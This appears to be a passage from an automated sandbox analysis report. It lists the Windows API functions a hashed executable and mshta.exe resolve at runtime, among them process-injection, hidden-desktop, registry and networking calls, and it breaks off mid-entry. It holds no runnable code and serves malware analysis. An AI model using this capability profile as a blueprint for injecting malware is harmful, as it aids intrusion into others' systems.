"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter ResumeThread (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter RemoveDirectoryW (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter ReadProcessMemory (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter QueryDosDeviceW (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter OpenMutexA (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter OpenFileMappingA (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter OpenEventA (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter MapViewOfFile (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter LoadLibraryW (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter GetVolumeInformationW (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter GetTimeZoneInformation (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter GetTickCount (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter GetThreadContext (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter GetTempPathW (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter GetSystemInfo (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter GetShortPathNameW (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter GetProcessTimes (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter GetFileAttributesW (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter GetFileAttributesA (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter GetExitCodeProcess (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableA (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter GetDriveTypeW (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter GetComputerNameW (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter FindNextFileW (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter FindFirstFileW (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter FileTimeToSystemTime (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter ExitThread (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter DuplicateHandle (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter DeleteFileW (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter CreateRemoteThread (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter CreateProcessW (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter CreateMutexA (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter CreateFileMappingA (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter CreateEventA (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter CreateDirectoryW (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter GetDCOrgEx (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter GetClipBox (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter UpdateWindow (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter TranslateMessage (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter SystemParametersInfoA (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter ShowWindow (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter SetWindowPos (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter SetThreadDesktop (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter SetProcessWindowStation (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter SendMessageA (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter ScreenToClient (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter RegisterClassExA (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter RegisterClassA (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter PostMessageA (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter PeekMessageA (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter OpenWindowStationA (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter OpenDesktopA (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter OffsetRect (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter MoveWindow (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter LoadCursorA (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter IsIconic (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter IntersectRect (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter GetWindowRect (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter GetWindowPlacement (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter GetWindowInfo (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter GetSystemMetrics (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter GetMessageA (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter GetLastInputInfo (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter GetClassNameA (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter GetClassInfoExA (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter ExitWindowsEx (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter EnumChildWindows (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter DispatchMessageA (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter DefWindowProcA (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter CreateWindowExA (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter CreateDesktopA (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter ClientToScreen (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter ChildWindowFromPoint (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter CharLowerW (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter InternetSetOptionA (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter InternetReadFile (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter InternetQueryOptionA (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter InternetOpenA (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter InternetConnectA (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter InternetCloseHandle (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter HttpSendRequestA (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter HttpOpenRequestA (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter FindNextUrlCacheEntryA (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter FindFirstUrlCacheEntryA (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter FindCloseUrlCache (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter DeleteUrlCacheEntry (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter CLSIDFromProgID (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter CoSetProxyBlanket (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter CoInitializeSecurity (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter CoInitialize (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter IsEqualGUID (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter SysAllocString (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter __WSAFDIsSet (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter WSACleanup (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter WSAStartup (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter WSAGetLastError (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter gethostbyname (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter socket (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter send (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter select (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter recv (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter ioctlsocket (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter inet_addr (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter htons (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter connect (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter closesocket (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter waveOutGetNumDevs (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter waveOutSetVolume (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter waveOutGetDevCapsA (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter AtlAxAttachControl (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter AtlAxWinInit (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter ZwSuspendProcess (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter WTSFreeMemory (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter WTSEnumerateSessionsA (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidA (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter GetModuleFileNameExW (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter GlobalMemoryStatusEx (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter GetDevicePowerState (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter GetVersionExA (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter ShellExecuteExW (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter ZwWriteVirtualMemory (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter NtQueryValueKey (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter NtDeleteValueKey (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter NtSetValueKey (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter ZwCreateSection (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter ZwMapViewOfSection (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter ZwUnmapViewOfSection (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter ZwQueryInformationProcess (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter ConvertStringSecurityDescriptorToSecurityDescriptorA (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter RegisterTraceGuidsA (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter UrlMkSetSessionOption (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter ILCreateFromPathW (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter NtWow64QueryInformationProcess64 (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter NtWow64ReadVirtualMemory64 (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter ZwQuerySystemInformation (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter SHGetKnownFolderPath (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter LookupAccountSidLocalW (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter RegCreateKeyExW (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter EtwRegisterTraceGuidsW (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter EqualSid (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter SystemFunction036 (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguages (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguages (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter GetSystemDefaultLocaleName (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter EtwUnregisterTraceGuids (UID: 00000000-00005644) "mshta.exe" called "GetProcAddress" with a parameter RegisterApplicationRestart (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter RunHTMLApplication (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter OleInitialize (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter ThemeInitApiHook (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter IsProcessDPIAware (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter DwmIsCompositionEnabled (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter PathRemoveArgsW (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter CreateURLMonikerEx (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter RaiseFailFastException (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter SetCoalescableTimer (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter IsAppThemed (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter LpkEditControl (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter CoRegisterInitializeSpy (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter CoInternetCreateSecurityManager (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter IUnknown_QueryService (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter SHCreateAssociationRegistration (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter CoInternetGetSession (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter CoInternetQueryInfo (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter CoInternetParseUrl (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter CreateBindCtx (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter SHStrDupW (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter AcquireSRWLockShared (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter ReleaseSRWLockShared (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter RegisterBindStatusCallback (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter 